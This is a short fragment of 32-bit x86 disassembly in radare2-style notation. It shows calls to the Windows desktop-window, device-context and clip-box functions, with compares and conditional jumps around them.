mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10035f8b
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x10035f9b